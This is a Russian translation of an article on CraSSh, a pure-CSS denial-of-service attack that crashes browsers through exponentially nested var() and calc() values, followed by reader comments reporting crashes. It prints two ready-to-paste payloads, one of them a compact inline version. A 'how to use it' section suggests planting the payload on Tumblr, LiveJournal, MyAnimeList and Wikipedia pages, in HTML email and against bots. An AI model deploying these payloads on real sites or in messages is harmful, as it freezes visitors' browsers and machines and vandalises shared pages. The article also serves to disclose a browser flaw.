CraSSh: ломаем все современные браузеры вычислениями в CSS

https://cras.sh/
  • Перевод
Автор статьи: Константин Сафонов

Не хочу читать эту техническую болтовню. Просто повали уже мой браузер.

Что такое CraSSh


CraSSh — это кроссбраузерная чисто декларативная DoS-атака, основанная на плохой обработке вложенных CSS-функций var() и calc() в современных браузерах.

CraSSh действует во всех основных браузерах на десктопах и мобильных устройствах:

  • На движке WebKit/Blink — Chrome, Opera, Safari, даже Samsung Internet на смарт-телевизорах и холодильниках.
    • Android WebView, iOS UIWebView также затронуты, то есть можно обвалить любое приложение со встроенным браузером.
  • На движке Gecko — Firefox и его форки, такие как Tor Browser.
    • Servo не запустился ни на одной из моих машин, поэтому я его не протестировал.
  • На движке EdgeHTML — Edge в Windows, WebView в приложениях UWP (их вообще кто-нибудь использует?)

Браузер IE не затронут, поскольку он не поддерживает функции, на которых основана атака, но у его пользователей немало своих проблем (вероятно, этот браузер можно порушить другими способами — прим. пер.).

Как это работает


Идея CraSSh заключается в том, чтобы заставить браузер вычислить свойство CSS с вложенными вызовами переменных за экспоненциальное время и с огромным использованием памяти.

Атака полагается на три функции CSS:

Переменные CSS (custom properties и var())

Они позволяют объявлять: присваивать и читать переменные:

.variables
{
  --variable: 1px;
  /* declare some variable */

  height: var(--variable);
  /* read the previously declared variable */
}


Переменные не допускают рекурсии (хотя был баг в WebKit, который вызывал бесконечную рекурсию) или циклы, но их можно определить как

выражения calc()

Выражения calc() позволяют выполнять некоторые базовые арифметические операции при описании правил, например, 'width: calc(50% - 10px)'.

calc() позволяет ссылаться на переменные и использовать несколько значений в одном выражении:

.calc
{
  --variable: 1px;
  /* declare a constant */

  height: calc(var(--variable) + var(--variable));
  /* access --variable twice */
}


Это даёт возможность:

  • линейно увеличивать вычисления в каждом выражении calc() путём добавления ссылок на предыдущие переменные;
  • экспоненциально увеличивать сложность с каждым объявлением переменной с выражением calc(), ссылающимся на другие вычисляемые переменные:

.calc_multiple
{
  --variable-level-0: 1px;
  /* константа */

  --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0));
  /* 2 вычисления константы */

  --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1));
  /* 2 вызова предыдущей переменной, 4 вычисления константы */

  /*
    ... больше аналогичных объявлений
  */

  --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1));
  /* 2 вызова предыдущей переменной, 2 ^ n вычислений константы */
}


Это как будто должно вычисляться за экспоненциальное время, но современные браузеры немного умнее, поэтому обычно вычисляют значения переменных один раз, сводя сложность до линейной. Хитрость в том, что кэширования значений переменных не происходит, если у неё

разнородное значение

Технически, это часть calc(), но она заслуживает отдельного упоминания. Разнородная переменная содержит как абсолютные, так и относительные единицы. Она не может быть:

  • рассчитана как абсолютное значение и совместно использована различными приложениями для различных элементов, поскольку зависит от свойств целевого элемента (юниты '%' / 'em');
  • рассчитана как абсолютное значение в одном приложении, потому что в некоторых случаях это приведёт к накоплению ошибок округления, вызывающих странные субпиксельные смещения, которые нарушат сложные макеты (у вас есть 12 столбцов, каждый шириной 1/12 экрана? Не повезло, приятель, они соберутся в новый ряд или оставят неуклюжий промежуток в конце).

Таким образом, это значение каждый раз пересчитывается заново:

.non_cached {
  --const: calc(50% +  10px);
  /* остаётся (50% +  10px) */

  --variable: calc(var(--const) + var(--const));
  /* по-прежнему не вычисляется актуальное значение */

  width: var(--variable);
  /* всё вычисляется здесь */
}

Что касается второго момента, большинство браузеров просто встраивают вложенные переменные с разнородным значением в одно выражение, чтобы избежать ошибок округления:

.mixed {
  --mixed:calc(1% + 1px);
  /* разнородная константа                   */

  --mixed-reference: calc(var(--mixed) + var(--mixed));
  /* переменная со ссылкой на константу      */

  --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px);
  /* предыдущая переменная после встраивания */

  --mixed-reference-computes-as: calc(2% + 2px);
  /* сокращённое представление, которое позже будет вычислено как абсолютное значение */
}

Представьте, что в выражении миллионы (или миллиарды) элементов… Движок CSS пытается выделить несколько гигабайт оперативной памяти, сократить выражение, добавить обработчики событий, чтобы свойства можно было пересчитать, когда что-то изменится. В конце концов, это происходит на определённом этапе.

Так, выглядел оригинальный CraSSh:

.crassh {
  --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm);
  /* разнородная константа */

  --level-1: calc(var(--initial-level-0) + var(--initial-level-0));
  /* 2 вычисления          */

  --level-2: calc(var(--level-1) + var(--level-1));
  /* 4 вычисления          */

  --level-3: calc(var(--level-2) + var(--level-2));
  /* 8 вычислений          */

  --level-4: calc(var(--level-3) + var(--level-3));
  /* 16 вычислений         */

  --level-5: calc(var(--level-4) + var(--level-4));
  /* 32 вычисления         */

  --level-6: calc(var(--level-5) + var(--level-5));
  /* 64 вычисления         */

  --level-7: calc(var(--level-6) + var(--level-6));
  /* 128 вычислений        */

  --level-8: calc(var(--level-7) + var(--level-7));
  /* 256 вычислений        */

  --level-9: calc(var(--level-8) + var(--level-8));
  /* 512 вычислений        */

  --level-10: calc(var(--level-9) + var(--level-9));
  /* 1024 вычисления       */

  --level-11: calc(var(--level-10) + var(--level-10));
  /* 2048 вычислений       */

  --level-12: calc(var(--level-11) + var(--level-11));
  /* 4096 вычислений       */

  --level-13: calc(var(--level-12) + var(--level-12));
  /* 8192 вычисления       */

  --level-14: calc(var(--level-13) + var(--level-13));
  /* 16384 вычисления      */

  --level-15: calc(var(--level-14) + var(--level-14));
  /* 32768 вычислений      */

  --level-16: calc(var(--level-15) + var(--level-15));
  /* 65536 вычислений      */

  --level-17: calc(var(--level-16) + var(--level-16));
  /* 131072 вычисления     */

  --level-18: calc(var(--level-17) + var(--level-17));
  /* 262144 вычисления     */

  --level-19: calc(var(--level-18) + var(--level-18));
  /* 524288 вычислений     */

  --level-20: calc(var(--level-19) + var(--level-19));
  /* 1048576 вычислений    */

  --level-21: calc(var(--level-20) + var(--level-20));
  /* 2097152 вычисления    */

  --level-22: calc(var(--level-21) + var(--level-21));
  /* 4194304 вычисления    */

  --level-23: calc(var(--level-22) + var(--level-22));
  /* 8388608 вычислений    */

  --level-24: calc(var(--level-23) + var(--level-23));
  /* 16777216 вычислений   */

  --level-25: calc(var(--level-24) + var(--level-24));
  /* 33554432 вычисления   */

  --level-26: calc(var(--level-25) + var(--level-25));
  /* 67108864 вычисления   */

  --level-27: calc(var(--level-26) + var(--level-26));
  /* 134217728 вычислений  */

  --level-28: calc(var(--level-27) + var(--level-27));
  /* 268435456 вычислений  */

  --level-29: calc(var(--level-28) + var(--level-28));
  /* 536870912 вычисления  */

  --level-30: calc(var(--level-29) + var(--level-29));
  /* 1073741824 вычисления */

  --level-final: calc(var(--level-30) + 1px);
  /* 1073741824 вычисления */


    /* ^ на некоторых движках это не вычисляется автоматически -> нужно их где-то использовать             */

    border-width: var(--level-final);  /* <- применяем рассчитанное значение   */

    /* некоторые движки могут пропустить border-width, если нет style (= пропущено ) */
    border-style: solid;
}

<div class="crassh">
Если вы это видите, ваш браузер не поддерживает современный CSS или разработчики исправили ошибку CraSSh
</div>

А вот встроенная версия менее чем в 1000 символов (MediaWiki для демонстрации).

<div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>

Как это использовать


Кроме отгона пользователей от собственного сайта или блога на платформе, которая дает полный доступ к HTML, как Tumblr (пример со сбоем браузера) или LiveJournal (пример со сбоем браузера), CraSSh позволяет:

  • Поломать UI на тех страницах сайта, которые под вашим контролем и позволяют определить произвольный CSS, даже не предоставляя шаблонов HTML. Мне удалось сломать MyAnimeList (пример со сбоем браузера). Reddit не подвержен этой атаке, потому что их парсер не поддерживает переменные CSS.
  • Поломать UI на публичных страницах с открытым доступом на запись, которые позволяют вставлять некоторые теги HTML со встроенными стилями. На Википедии мой аккаунт забанили за вандализм, хотя я разместил пример со сбоем браузера на личной странице. Атака затрагивает большинство проектов на основе MediaWiki. В принципе, поломанную страницу уже нельзя будет восстановить через UI.
  • Вызвать сбой почтовых клиентов с поддержкой HTML

    • Это довольно сложно, поскольку почтовые клиенты удаляют/уменьшают HTML и обычно не поддерживают современные функции CSS, которые использует CraSSh
    • CraSSh работает в

      • Samsung Mail для Android
    • CraSSh не работает в

      • Outlook (веб)
      • Gmail (веб)
      • Gmail (Android)
      • Yahoo (веб)
      • Yandex (веб)
      • Protonmail (веб)
      • Zimbra (веб, автономная установка)
      • Windows Mail (Windows, очевидно)
    • Должен работать в

      • Outlook для Mac (внутренне использует Webkit)
    • Другие не тестировали.
  • Мне просто пришла больная идея, что CraSSh можно использовать против ботов на основе CEF/PhantomJS. Атакуемый сайт может внедрять код CraSSh с заголовками (как здесь), а не показывать обычную ошибку 403. IIRC, ошибки обрабатываются по-разному во встраиваемых движках, поэтому

    • это, вероятно, приведет к сбою бота (никто не ожидает переполнения стека или чего-то в headless-браузере)
    • очень трудно для отладки, так как он даже не отображается в теле ответа, который, скорее всего, попадёт в логи


Зачем это сделано


  • Помните тот пост Линуса?

    Похоже, мир IT-безопасности достиг нового дна.

    Если вы работаете в безопасности и думаете, что у вас есть совесть, то мне кажется, можете написать:

    «Нет, правда, я не шлюха. Честно-честно»

    на своей визитке. Я и раньше думал, что вся индустрия гнилая, но это уже становится смешно.

    В какой момент люди из безопасности признáют, что обожают привлекать к себе внимание?

    Я пошёл ещё дальше, и сделал аж целый сайт, посвящённый простому багу, потому что удовольствие работы до 4 утра и внимание к достигнутым результатам — это те немногие вещи, которые удерживают меня от депрессии и нырка на этот симпатичный тротуар перед офисом.
  • Кроме того, я ненавижу фронтенд, который составляет часть мой работы в качестве fullstack-разработчика, и такие вещи помогают немного расслабиться.

Похожие штуки


Сейчас я участвую в удивительном проекте, о котором мы расскажем чуть позже. Следите за новостями в твиттере.

Особая благодарность


Поделиться публикацией
Комментарии 58
    +1
    Firefox попыхтел минут 5 и таки смог prntscr.com/lozfwg )
    Комп: i3 7100, 8GB, SSD, firefox 63.0.3 (64-бит)
      +2
      своп на ssd? :)
        +1
        Конечно)
        Хотел засечь время, но с cras.sh/crash.html повторить уже не смог — падает.
        • НЛО прилетело и опубликовало эту надпись здесь
            0
            нет, просто с hdd пришлось бы ждать намного дольше
          0
          А у меня FF попыхтел и упала только вкладка, в которой эта бомбочка открывалась.
          +1
          Опера, макос, через три секунды страничка перестала отзываться и написана «Пейдж крешед». Сам браузер даже не пискнул.

          Но статья интересная :)
            0
            На винде 8.1 в Опере вкладка стала потреблять память и через секунды 3-4 грохнулась.
              0
              Винда 10, x64, Опера — тоже только вкладка грохнулась — остальные живы и здоровы.

              P.S. Впрочем, как и хром. Странно сие.
              0
              Перешел по ссылке if4milij4.livejournal.com/984.htmlБраузер не упал, просто комп завис, даже намлок не отреагировал на нажатие.
                0
                Макос, опера — сообщение об ошибке, ни одна другая владка не пострадала.
                +8
                ждём статей sha256 и css — или как майнить крипту* по новому)
                  +4
                  У меня при открытии в опере зависла вся винда ( ͡° ͜ʖ ͡°)
                    +1
                    Chrome Версия 70.0.3538.110 (Официальная сборка), (64 бит) думает пару секунд и падает вкладка: «Опаньки ...»
                      +4
                      Попробовал открыть в последнем ФФ, win10, hdd, FX 8350, 16GB RAM
                      За пару секунд лис сожрал всю доступную память и повесил комп наглухо
                      Пишу коммент с телефона, планирую хард ресет…
                        0

                        Reisub

                          0
                          на win10
                            0

                            Оффтоп, но на Линуксе в подобных случаях гораздо лучше работает менее распиаренное заклинание Alt+SysRq+F (Force close). Оно вызывает OOM Killer и скармливает ему самый жирный процесс, после чего остальные могут вздохнуть свободнее.

                            +2

                            история почти как в этой копипасте: lurkmore.to/Копипаста: Пацаны_не_качайте!

                              0
                              На самом деле, ожидал краша/зависания браузера, но уж никак не висяк системы.
                              Для полноты картины, дополню, что коммент писался 3-м или 4-м по счёту (но долго ждал одобрения), т.е. никто ещё не говорил, что может зависнуть комп =)
                            –4
                            это те немногие вещи, которые удерживают меня от депрессии и нырка на этот симпатичный тротуар перед офисом

                            Отсутствие внятной цели в жизни после 30, это синоним бесконечного желания покончить с собой, ну или по крайней мере бесконечные мысли на эту тему. Мы так устроены, что наше счастье начинается там, где начинается наша цель, если цели нет, то и смысла особого тоже нет.
                            Не знаете где себя найти — всегда можно найти как помочь окружающим, тем или иным способом, ну или помочь экологии, тоже, тем или иным способом.
                              +4
                              А чем помощь экологии, например, лучше поиска поиска потенциального бага системы, при котором когда-нибудь при переходе на хтмл-страничку вешается компьютер. В следсвии чего, например, может остановиться система контроля атомного реактора условной АЭС?

                              Я понимаю, что утрировано, но почему вы считаете, что ваши жизненные ценности важнее окружащим, а не вам лично?
                                0

                                Поиск поиска. Вы открыли новый уровень смысла жизни.

                              0
                              Chrome 70.0.3538.110
                              Просто сразу падает вкладка. На всю остальную работу никак не влияет.
                              i5, SSD, 16 RAM
                                0
                                Edge не упал, покрутился немного и выдал ошибку при загрузке:
                                imgur.com/bUQKf4G
                                  –1
                                  Это и есть падение, у edge, как и у chrome, процессы изолированы
                                  +1

                                  Я что-то подобное писал на базе XML и тоже для борьбы с ботами. Кстати с неясным результатам. :D


                                  Иду по ссылке. Если не вернусь, считайте коммунистом....


                                  П.П. Упал только таб — FF63.0.3, Linux, 4GB RAM и 8GB swap. Упал сравнительно быстро через 1..2 минуты интенсивного выделения памяти.

                                    0

                                    FF/Fennec 63.0.2, Android, 8G RAM. Браузер валится за 2-3 секунды и полностью.
                                    Видимо, полноценной изоляции вкладок под Android у них нет.

                                      0
                                      CraSSh — это кроссбраузерная чисто декларативная DoS-атака

                                      Что значит чисто декларативная?
                                        +3
                                        Выполняет ровно то, что от неё хотел создатель.
                                          +2
                                          Что значит чисто декларативная?

                                          Написана без применения инструкций на императивных языках (в данном случае это означает, что это — чистый CSS).
                                            0
                                            Не нужно выполнять скрипты.
                                            0
                                            Вкладка падает почти мгновенно. Система не виснет, браузер не виснет, памяти не жрёт. Chromium 70.0.3538.102 на Linux ASUS-Laptop 4.14.81, Intel Core i3-6100U @ 4x 2.3GHz, 12GB RAM, нет свопа.
                                              +4

                                              А я чем сенсация? Есть уйма способов наступить на грабли в CSS. Трансформации, анимации, фильтры, составные бекграунды, маски, шрифты, svg и т.п. Креш вкладки это стандартный механизм браузера для отстрела проблемных страниц. Из-за этого подобные вещи сложно анализировать, в отличие от JS, где есть отладчик, профайлеры и т.п.

                                                0
                                                Помню подобное во времена DC++. Там была реализована подсветка в текстах твоего ника в любом тексте. Так так вот отправляешь ему в личку максимум по знакам сообщения его ников раз 5 и у него и вис этот DC++ намертво.
                                                  +6

                                                  Автор оригинального поста — Константин Сафонов (kasthack): https://www.linkedin.com/in/kasthack/
                                                  Автор с переводом не согласен, так как перевод плохо передает оригинал. Так же автор недоволен отсутствием ссылки на его LinkedIn.

                                                    +1
                                                    • отсутствием -> удалением
                                                    0

                                                    Мобильный Яндекс браузер явно это предусмотрел. Выполняет попытку около 5-10 секунд, пишет что что-то не так и пытается перезагрузить страницу. Повторяет ещё 2 таких попытки и говорит что не смог. То есть они явно при загрузке страницы проверяют не слишком ли много ресурсов потребляет страница.

                                                      0
                                                      Настольный яндекс-браузер также себя ведет:
                                                      image
                                                      0
                                                      Chrome за секунду повесил вкладку — ничего не зависло
                                                      Edge за 5 секунд сделал тоже самое — ничего не зависло
                                                      Firefox очень удачно повесил саму винду — только рестарт…
                                                        0
                                                        Мозилла, комп повис наглухо, курсор не двигается)
                                                          0
                                                          Мне одному стало интересно что это за Samsung Internet на холодильниках?
                                                          0
                                                          MacOS Safari загрузка страницы через пять минут перезапускается из-за ошибки на половине процесса отъедая на 100% одно ядро процессора. На другие вкладки и систему больше никак не влияет
                                                            +2
                                                            CSS превратили в монстра
                                                              0

                                                              Ну что-то слишком громкое заявление про «обвалить любой современный браузер». Во-первых — в коментах уже отписали, что этот метод почти ни один браузер не обвалил (максимум вкладку). Ну и в iOS проверил — просто долго грузится, устал ждать, закрыл вкладку. Такого можно достичь гораздо более простым способом. Во-вторых… да хватит первых. Желтушная статья про ничего нового

                                                                0

                                                                Нужен shadow dom, которому разработчики веб-приложений могли бы указать что-то вроде «лимит памяти 10мб», чтобы пользовательский контент со стилями не мог съесть вообще всю оперативную память и уронить вкладку целиком.


                                                                А вычисления js/css в основном потоке хорошо бы ограничить в скорости исполнения на уровне браузера (например, 10мс вычисляем, 20мс спим), если превышен лимит в ~100мс времени. Во-первых если оно не уложилось, то в любом случае это надолго. Во-вторых отличная мотивация разработчиков к написанию отзывчивых интерфейсов.

                                                                  0
                                                                  Во-вторых отличная мотивация разработчиков к написанию отзывчивых интерфейсов.

                                                                  Нет, не получится. Не замотивируются. Начнут выпускать "ускоритель интернетов", который будет отключать все эти ограничения.

                                                                    0
                                                                    Нужен shadow dom, которому разработчики веб-приложений могли бы указать что-то вроде «лимит памяти 10мб»
                                                                    Так ведь следующая статья будет на тему «указал 100ГБ, ололо, я сломал все браузеры»
                                                                      0
                                                                      Если браузер не
                                                                      * проверяет объём памяти на адекватность
                                                                      * позволяет вызвать выделение памяти из неконтролируемого кода
                                                                      то 'ололо, я сломал все браузеры' будет абсолютно справедливым.
                                                                      0
                                                                      лимит памяти 10мб


                                                                      640Кб хватит всем. Подгрузится highres-фото и приложение развалится.

                                                                      например, 10мс вычисляем, 20мс спим


                                                                      Поломает все хоть сколько-то сложные вещи на js, начиная с Google Docs и заканчивая agar.io.

                                                                      Во-вторых отличная мотивация разработчиков к написанию отзывчивых интерфейсов.


                                                                      Поощряет писать на flash / java / silverlight / чём угодно без таких ограничений.
                                                                      0
                                                                      я не стал проверять ВИВАЛЬДИ… комп жалко ))))
                                                                        0
                                                                        FF, Win7, древний i5, 16GB RAM, система на SSD, своп на втором SSD
                                                                        Браузер съел всю память, лампочка дисков горит постоянно, другие вкладки работают (пишу сейчас), другие приложения запускают. Есть легкое лагание. Подожду, пока переполнится SLC кэш на втором диске, может эффект позаметнее будет.
                                                                        … не дождался. FF сказал, что вкладка упала, и освободил память.

                                                                        PS: в Мозиллу (или куда еще) баг отписали?
                                                                          0

                                                                          Так это же не баг. Это фича CSS. Долгожданная и желанная.

                                                                          0
                                                                          Chrome на Windows 10 крашит страницу через определенное время, первый раз скрашил страницу сек за 5, второй пк неплохо так подвис но всетаки ожил как chrome скрашил страницу
                                                                            0
                                                                            Как бы да. Ubu, i5, 16Gb, FF last, без swap. Попыхтел и все. В пике потребление 5Гб памяти заметил максимум.
                                                                              0
                                                                              При переходе по ссылке в начале статьи Opera Mobile на моем Samsung после нескольких секунд выдала
                                                                              это


                                                                              И благополучно продолжила работать.

                                                                              Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                                                              Самое читаемое